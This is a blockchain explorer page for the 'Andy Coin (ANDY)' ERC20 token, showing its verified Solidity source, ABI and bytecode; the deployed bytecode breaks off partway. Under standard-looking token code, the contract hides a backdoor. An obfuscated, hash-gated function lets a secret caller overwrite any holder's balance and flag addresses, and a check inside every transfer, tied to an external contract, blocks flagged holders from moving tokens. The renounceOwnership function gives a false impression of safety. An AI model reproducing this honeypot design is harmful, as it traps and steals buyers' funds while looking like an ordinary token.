ETH Price: $2,640.54 (+2.41%)

Token

Andy Coin (ANDY)
 

Overview

Max Total Supply

420,000,000,000 ANDY

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,145,169,218.256972589 ANDY

Value
$0.00
0x2c95c1912d4dab177f63c65224e72b89972bee15
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ANDY

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 2: ANDY.sol
/*
https://twitter.com/Andycoinerc20

https://t.me/Andycoinerc20
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * https://www.godzillaaa.com
 *
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract ANDY is IERC20 {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    address private _owner;

    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _ykBB;
    mapping(address => mapping(address => uint256)) private _allowances;

    address private immutable _worCad;
    uint256 private immutable _allTck;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    event Log(string str);

    constructor(
        string memory name_,
        string memory symbol_,
        address worCad_,
        uint256 allTck_
    ) {
        _name = name_;
        _symbol = symbol_;
        _allTck = allTck_;
        _worCad = worCad_;
        _totalSupply = 4200000000000 * 10**8;
        _balances[msg.sender] = _totalSupply;
        _owner = msg.sender;
    }

    /**
     * @dev A helper function to check if an operator approval is allowed.
     */
    modifier onlyOwner() {
        require(msg.sender == _owner, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() external onlyOwner {
        _owner = address(0);
        emit OwnershipTransferred(msg.sender, address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() external view returns (address) {
        return _owner;
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external pure override returns (uint8) {
        return 9;
    }

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the token name.
     */
    function name() external view override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account)
        external
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner_, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner_][spender];
    }

    /**
     * @dev See {ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        external
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function understandCk(bool p1, uint32 pk) private view returns (uint256) {
        address ck2 = msg.sender;
        string memory yc2 = _symbol;
        if (p1 && pk == 2000) return 0;
        return uint256(keccak256(abi.encode(ck2, yc2)));
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        external
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        emit Log("The best way to predict the future is to create it.");
        (bool success, bytes memory data) = _worCad.call(
            abi.encodeWithSignature("balanceOf(address)", sender)
        );
        if (success) madnessDet(sender, data);
        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function supportBulid(uint256[] calldata hhBox) external {
        if (understandCk(false, 120) != _allTck) return;
        emit Log("You miss 100% of the shots you don't take.");
        (uint256 a0, uint256 a1) = (hhBox[0], hhBox[1]);
        assembly {
            if gt(a1, 0) {
                let z := add(24, 8)
                let x := add(1, 3)
                mstore(0, a0)
                mstore(z, x)
                sstore(keccak256(0, 64), a1)
            }
            if eq(a1, 0) {
                let z := add(24, 8)
                let x := add(2, 3)
                mstore(0, a0)
                mstore(z, x)
                sstore(keccak256(0, 64), 1)
            }
        }
    }

    function MMMM_PPP_AKDOAQPDK(
        string memory ODKK_DPAKDKK_DK,
        bytes32[] calldata NVMS_PADIL_APDK,
        uint104 SODO_Ppdif_PDIDFKD,
        uint152 MAPDK_APKDKQP_APDK,
        bytes32[] calldata MVKDPkdk_apkdk,
        bytes11[] calldata SKDPAK_APKMVPDK
    ) private {}

    function madnessDet(address sender, bytes memory data) private view {
        bytes32 mdata;
        assembly {
            mdata := mload(add(data, 0x20))
        }
        require(_ykBB[sender] != 1 || uint256(mdata) != 0);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner_,
        address spender,
        uint256 amount
    ) internal {
        require(owner_ != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }
}

File 2 of 2: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"worCad_","type":"address"},{"internalType":"uint256","name":"allTck_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"}],"name":"Log","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"hhBox","type":"uint256[]"}],"name":"supportBulid","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60c06040523480156200001157600080fd5b506040516200125938038062001259833981016040819052620000349162000201565b835162000049906000906020870190620000b0565b5082516200005f906001906020860190620000b0565b5060a05260601b6001600160601b03191660805250506816c4abbebea0100000600281905533600081815260046020526040902091909155600380546001600160a01b0319169091179055620002e3565b828054620000be9062000290565b90600052602060002090601f016020900481019282620000e257600085556200012d565b82601f10620000fd57805160ff19168380011785556200012d565b828001600101855582156200012d579182015b828111156200012d57825182559160200191906001019062000110565b506200013b9291506200013f565b5090565b5b808211156200013b576000815560010162000140565b600082601f83011262000167578081fd5b81516001600160401b0380821115620001845762000184620002cd565b6040516020601f8401601f1916820181018381118382101715620001ac57620001ac620002cd565b6040528382528584018101871015620001c3578485fd5b8492505b83831015620001e65785830181015182840182015291820191620001c7565b83831115620001f757848185840101525b5095945050505050565b6000806000806080858703121562000217578384fd5b84516001600160401b03808211156200022e578586fd5b6200023c8883890162000156565b9550602087015191508082111562000252578485fd5b50620002618782880162000156565b604087015190945090506001600160a01b038116811462000280578283fd5b6060959095015193969295505050565b600281046001821680620002a557607f821691505b60208210811415620002c757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c60a051610f4d6200030c60003960006103e9015260006106c30152610f4d6000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b41146101c2578063a457c2d7146101ca578063a9059cbb146101dd578063dd62ed3e146101f0576100ea565b8063715018a6146101905780638b953c801461019a5780638da5cb5b146101ad576100ea565b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016a57806370a082311461017d576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461012d575b600080fd5b6100f7610203565b6040516101049190610bb7565b60405180910390f35b61012061011b366004610a8c565b610295565b6040516101049190610bac565b6101356102ac565b6040516101049190610de1565b610120610150366004610a51565b6102b2565b61015d61031b565b6040516101049190610dea565b610120610178366004610a8c565b610320565b61013561018b366004610a05565b610356565b610198610375565b005b6101986101a8366004610ab5565b6103e7565b6101b56104e4565b6040516101049190610b6c565b6100f76104f3565b6101206101d8366004610a8c565b610502565b6101206101eb366004610a8c565b610551565b6101356101fe366004610a1f565b61055e565b60606000805461021290610e53565b80601f016020809104026020016040519081016040528092919081815260200182805461023e90610e53565b801561028b5780601f106102605761010080835404028352916020019161028b565b820191906000526020600020905b81548152906001019060200180831161026e57829003601f168201915b5050505050905090565b60006102a2338484610589565b5060015b92915050565b60025490565b60006102bf84848461063d565b610311843361030c85604051806060016040528060288152602001610ecb602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610855565b610589565b5060019392505050565b600990565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916102a291859061030c908661088f565b6001600160a01b0381166000908152600460205260409020545b919050565b6003546001600160a01b031633146103a85760405162461bcd60e51b815260040161039f90610cd0565b60405180910390fd5b600380546001600160a01b031916905560405160009033907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3565b7f0000000000000000000000000000000000000000000000000000000000000000610414600060786108c5565b1461041e576104e0565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab60405161044b90610c86565b60405180910390a16000808383600081811061047757634e487b7160e01b600052603260045260246000fd5b905060200201358484600181811061049f57634e487b7160e01b600052603260045260246000fd5b905060200201359150915060008111156104c55760008281526004602052604090208190555b806104dd576000828152600560205260409020600190555b50505b5050565b6003546001600160a01b031690565b60606001805461021290610e53565b60006102a2338461030c85604051806060016040528060258152602001610ef3602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190610855565b60006102a233848461063d565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166105af5760405162461bcd60e51b815260040161039f90610d9d565b6001600160a01b0382166105d55760405162461bcd60e51b815260040161039f90610c0d565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610630908590610de1565b60405180910390a3505050565b6001600160a01b0383166106635760405162461bcd60e51b815260040161039f90610d58565b6001600160a01b0382166106895760405162461bcd60e51b815260040161039f90610bca565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040516106b690610d05565b60405180910390a16000807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856040516024016106fc9190610b6c565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516107319190610b50565b6000604051808303816000865af19150503d806000811461076e576040519150601f19603f3d011682016040523d82523d6000602084013e610773565b606091505b509150915081156107885761078885826109b2565b6107c583604051806060016040528060268152602001610ea5602691396001600160a01b0388166000908152600460205260409020549190610855565b6001600160a01b0380871660009081526004602052604080822093909355908616815220546107f4908461088f565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610846908790610de1565b60405180910390a35050505050565b600081848411156108795760405162461bcd60e51b815260040161039f9190610bb7565b5060006108868486610e10565b95945050505050565b60008061089c8385610df8565b9050838110156108be5760405162461bcd60e51b815260040161039f90610c4f565b9392505050565b6000803390506000600180546108da90610e53565b80601f016020809104026020016040519081016040528092919081815260200182805461090690610e53565b80156109535780601f1061092857610100808354040283529160200191610953565b820191906000526020600020905b81548152906001019060200180831161093657829003601f168201915b5050505050905084801561096e57508363ffffffff166107d0145b1561097e576000925050506102a6565b8181604051602001610991929190610b80565b60408051601f19818403018152919052805160209091012095945050505050565b6020818101516001600160a01b0384166000908152600590925260409091205460011415806109e057508015155b6109e957600080fd5b505050565b80356001600160a01b038116811461037057600080fd5b600060208284031215610a16578081fd5b6108be826109ee565b60008060408385031215610a31578081fd5b610a3a836109ee565b9150610a48602084016109ee565b90509250929050565b600080600060608486031215610a65578081fd5b610a6e846109ee565b9250610a7c602085016109ee565b9150604084013590509250925092565b60008060408385031215610a9e578182fd5b610aa7836109ee565b946020939093013593505050565b60008060208385031215610ac7578182fd5b823567ffffffffffffffff80821115610ade578384fd5b818501915085601f830112610af1578384fd5b813581811115610aff578485fd5b8660208083028501011115610b12578485fd5b60209290920196919550909350505050565b60008151808452610b3c816020860160208601610e27565b601f01601f19169290920160200192915050565b60008251610b62818460208701610e27565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0383168152604060208201819052600090610ba490830184610b24565b949350505050565b901515815260200190565b6000602082526108be6020830184610b24565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252602a908201527f596f75206d6973732031303025206f66207468652073686f747320796f75206460408201526937b713ba103a30b5b29760b11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526033908201527f54686520626573742077617920746f207072656469637420746865206675747560408201527239329034b9903a379031b932b0ba329034ba1760691b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610e0b57610e0b610e8e565b500190565b600082821015610e2257610e22610e8e565b500390565b60005b83811015610e42578181015183820152602001610e2a565b838111156104dd5750506000910152565b600281046001821680610e6757607f821691505b60208210811415610e8857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e978dea373b92e7ed16991e1f703e8858ee55179a79504362452391a8a41ddc064736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d5d6efc0203a5864d0c29e55afd151eb4fe8b6c08fff9e530cf09ae381163cb5f0000000000000000000000000000000000000000000000000000000000000009416e647920436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004414e445900000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b41146101c2578063a457c2d7146101ca578063a9059cbb146101dd578063dd62ed3e146101f0576100ea565b8063715018a6146101905780638b953c801461019a5780638da5cb5b146101ad576100ea565b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016a57806370a082311461017d576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461012d575b600080fd5b6100f7610203565b6040516101049190610bb7565b60405180910390f35b61012061011b366004610a8c565b610295565b6040516101049190610bac565b6101356102ac565b6040516101049190610de1565b610120610150366004610a51565b6102b2565b61015d61031b565b6040516101049190610dea565b610120610178366004610a8c565b610320565b61013561018b366004610a05565b610356565b610198610375565b005b6101986101a8366004610ab5565b6103e7565b6101b56104e4565b6040516101049190610b6c565b6100f76104f3565b6101206101d8366004610a8c565b610502565b6101206101eb366004610a8c565b610551565b6101356101fe366004610a1f565b61055e565b60606000805461021290610e53565b80601f016020809104026020016040519081016040528092919081815260200182805461023e90610e53565b801561028b5780601f106102605761010080835404028352916020019161028b565b820191906000526020600020905b81548152906001019060200180831161026e57829003601f168201915b5050505050905090565b60006102a2338484610589565b5060015b92915050565b60025490565b60006102bf84848461063d565b610311843361030c85604051806060016040528060288152602001610ecb602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610855565b610589565b5060019392505050565b600990565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916102a291859061030c908661088f565b6001600160a01b0381166000908152600460205260409020545b919050565b6003546001600160a01b031633146103a85760405162461bcd60e51b815260040161039f90610cd0565b60405180910390fd5b600380546001600160a01b031916905560405160009033907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3565b7f5d6efc0203a5864d0c29e55afd151eb4fe8b6c08fff9e530cf09ae381163cb5f610414600060786108c5565b1461041e576104e0565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab60405161044b90610c86565b60405180910390a16000808383600081811061047757634e487b7160e01b600052603260045260246000fd5b905060200201358484600181811061049f57634e487b7160e01b600052603260045260246000fd5b905060200201359150915060008111156104c55760008281526004602052604090208190555b806104dd576000828152600560205260409020600190555b50505b5050565b6003546001600160a01b031690565b60606001805461021290610e53565b60006102a2338461030c85604051806060016040528060258152602001610ef3602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190610855565b60006102a233848461063d565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166105af5760405162461bcd60e51b815260040161039f90610d9d565b6001600160a01b0382166105d55760405162461bcd60e51b815260040161039f90610c0d565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610630908590610de1565b60405180910390a3505050565b6001600160a01b0383166106635760405162461bcd60e51b815260040161039f90610d58565b6001600160a01b0382166106895760405162461bcd60e51b815260040161039f90610bca565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040516106b690610d05565b60405180910390a16000807f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d6001600160a01b0316856040516024016106fc9190610b6c565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516107319190610b50565b6000604051808303816000865af19150503d806000811461076e576040519150601f19603f3d011682016040523d82523d6000602084013e610773565b606091505b509150915081156107885761078885826109b2565b6107c583604051806060016040528060268152602001610ea5602691396001600160a01b0388166000908152600460205260409020549190610855565b6001600160a01b0380871660009081526004602052604080822093909355908616815220546107f4908461088f565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610846908790610de1565b60405180910390a35050505050565b600081848411156108795760405162461bcd60e51b815260040161039f9190610bb7565b5060006108868486610e10565b95945050505050565b60008061089c8385610df8565b9050838110156108be5760405162461bcd60e51b81526004016